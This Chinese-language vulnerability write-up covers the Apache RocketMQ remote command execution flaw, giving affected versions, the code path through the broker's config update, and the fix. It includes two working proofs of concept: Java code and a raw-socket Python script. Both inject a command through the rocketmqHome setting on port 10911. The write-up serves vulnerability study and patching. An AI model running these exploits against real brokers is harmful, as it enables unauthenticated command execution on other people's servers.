漏洞简介

RocketMQ 5.1.0及以下版本,在一定条件下,存在远程命令执行风险。RocketMQ的NameServer、Broker、Controller等多个组件外网泄露,缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。

影响版本

5.0.0 <= Apache RocketMQ < 5.1.1

4.0.0 <= Apache RocketMQ < 4.9.6

安全版本

Apache RocketMQ 5.1.1

Apache RocketMQ 4.9.6

漏洞复现

在本地创建 maven 项目 并添加依赖

org.apache.rocketmqrocketmq-tools5.1.0

编写漏洞利用代码

importorg.apache.rocketmq.tools.admin.DefaultMQAdminExt;importjava.util.Properties;publicclasspoc1{publicstaticvoidmain(String[]args)throwsException{//创建Properties对象Propertiesprops=newProperties();//修改rocketmqHome配置props.setProperty("rocketmqHome","-cgnome-calculatortest");props.setProperty("filterServerNums","1");//创建DefaultMQAdminExt对象并启动DefaultMQAdminExtadmin=newDefaultMQAdminExt();//此处为namesrv端口,此端口无需可访问admin.setNamesrvAddr("192.168.222.130:9876");admin.start();//更新配置⽂件//此处为broker端口,必须可访问admin.updateBrokerConfig("192.168.222.130:10911",props);//关闭DefaultMQAdminExt对象admin.shutdown();}}

漏洞分析

我们看到真正有危险的操作应该是与 10911 进行通信的操作,没有进行身份验证和加密传输,同时带入了命令执行的参数

org/apache/rocketmq/remoting/protocol/RequestCode.javacode 代表调用不同的功能

org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#processRequest

org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#updateBrokerConfig

org/apache/rocketmq/remoting/Configuration.java#update

如果属性名是其内置的,就进行更新操作

后面的一部分就比较清晰了

org/apache/rocketmq/broker/BrokerStartup.java#start

org/apache/rocketmq/broker/BrokerController.java#start

org/apache/rocketmq/broker/BrokerController.java#startBasicService

image

org/apache/rocketmq/broker/filtersrv/FilterServerManager.java#start

image

根据从 Wireshark 中抓取的数据包 我们也可以构造这样的 payload 触发漏洞

importsocketimportbinasciiclient=socket.socket()#youipclient.connect(('192.168.222.130',10911))#datajson='{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')body='filterServerNums=1\nrocketmqHome=-cgnome-calculatortest'.encode('utf-8')json_lens=int(len(binascii.hexlify(json).decode('utf-8'))/2)#一个字节是2个十六进制数head1='00000000'+str(hex(json_lens))[2:]#hex(xxxx)0x1243434去掉0xall_lens=int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)#总长度要加上head1[-8:]的值head2='00000000'+str(hex(all_lens))[2:]data=head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')#协议总长度+json长度+json+body#sendclient.send(bytes.fromhex(data))data_recv=client.recv(1024)print(data_recv)

漏洞修复

移除了命令执行的模块